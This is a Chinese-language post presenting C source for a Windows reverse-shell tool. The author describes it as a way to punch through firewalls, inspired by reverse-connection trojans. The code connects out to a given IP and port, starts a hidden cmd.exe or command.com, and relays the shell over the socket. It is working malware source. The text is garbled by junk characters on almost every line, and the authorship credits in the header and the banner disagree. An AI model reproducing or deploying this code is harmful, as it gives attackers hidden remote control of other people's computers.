Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 k`VM2+9h'^  
HW[L[&/  
/* ============================== OAe#Wf!c  
Rebound port in Windows NT tP(h9|[
N  
By wind,2006/7 bcz-$?]  
===============================*/ ]?<n#=eW  
#include Y83GKh,*  
#include
s&tE_  
qVgd(?hJ#  
#pragma comment(lib,"wsock32.lib") h @/;`E[  
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void OutputShell(); s~L</Xvo  
SOCKET sClient; 7P**:b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <$i4?)f(  
6mPm=I[oh  
void main(int argc,char **argv) 4s.]M>Yb  
{ K4%/!`  
WSADATA stWsaData; NiSO'=y$n  
int nRet; |:[9O`U)s  
SOCKADDR_IN stSaiClient,stSaiServer; ^&[+H8$  
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if(argc != 3) #h'@5 l  
{ :td ~g;w  
printf("Useage:\n\rRebound DestIP DestPort\n"); N4{nG,Mo]  
return; s] au/T6b  
} 4IsG=7   
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WSAStartup(MAKEWORD(2,2),&stWsaData); jna;0)  
07_oP(;jT  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^DAu5|--R  
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stSaiClient.sin_family = AF_INET;
|m*.LTO  
stSaiClient.sin_port = htons(0); Ciihsm  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bbN%$/d  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FxW&8 9G  
{ B$a-og(  
printf("Bind Socket Failed!\n"); 8OFj0S1r`  
return; m7jA ,~O  
} 4^Rd{'mt  

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stSaiServer.sin_family = AF_INET; i*[n{=*l@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IOl+t,0x&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M]rO;^;6?  
{ _elX<o4  
printf("Connect Error!"); x\\7G^$<h  
return; >lzA]aM$c  
} +RDJY(Y$  
OutputShell(); m5c&&v6%"b  
} pbBoy+.>  
{|<"C?  
void OutputShell() T3,1m=S  
{ K`6z&*  
char szBuff[1024]; :%4imgY`  
SECURITY_ATTRIBUTES stSecurityAttributes; Ngy=!g?Hk=  
OSVERSIONINFO stOsversionInfo; ~}ovuf=%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m,MSMw1p  
STARTUPINFO stStartupInfo; dQ:cYNm  
char *szShell; I9
64  
PROCESS_INFORMATION stProcessInformation; fg*@<'  
unsigned long lBytesRead; OI/@3"L{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cDkV;$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [0@`wZ  
stSecurityAttributes.lpSecurityDescriptor = 0; @!%n$>p/V  
stSecurityAttributes.bInheritHandle = TRUE; !DXNo(:r  
5>_5]t {  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &1^%Nxu1  
c z'5iK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); O<*5$,K9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %V_-%/3Z  
stStartupInfo.wShowWindow = SW_HIDE; /n5n )P@L  
stStartupInfo.hStdInput = hReadPipe; u?H 2%hD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6ghx3_%w  
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GetVersionEx(&stOsversionInfo); ERMa# L  
`lpz-"EEV  
switch(stOsversionInfo.dwPlatformId) \=2m7v#E  
{ Wch~Yb  
case 1: CXaWgxlK:a  
szShell = "command.com"; 9U_ks[Qa  
break; %&blJ6b  
default: I["j=r  
szShell = "cmd.exe"; Qu\@Y[eia5  
break; l?
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} '-
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gX @`X  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MDa7 B +4  
Hh[Tw&J4  
send(sClient,szMsg,77,0); ]!"S+gT*C  
while(1) =t0tK}Y+4  
{ 7(k^a)~PL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sfD5!Z9#1  
if(lBytesRead) Kx`/\u=/  
{ <^R{U&Z@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D{7w!z  
send(sClient,szBuff,lBytesRead,0); Qst$S}n  
} oF:v JDSS  
else |`O5Xs1{B  
{ _F(P*[[&  
lBytesRead=recv(sClient,szBuff,1024,0); Nn6S 8kc  
if(lBytesRead<=0) break; $W8Cf[a  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YV'pVO'_+  
} ~2*9{  
} p3951-D  
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return; !X^Ce)1K  
}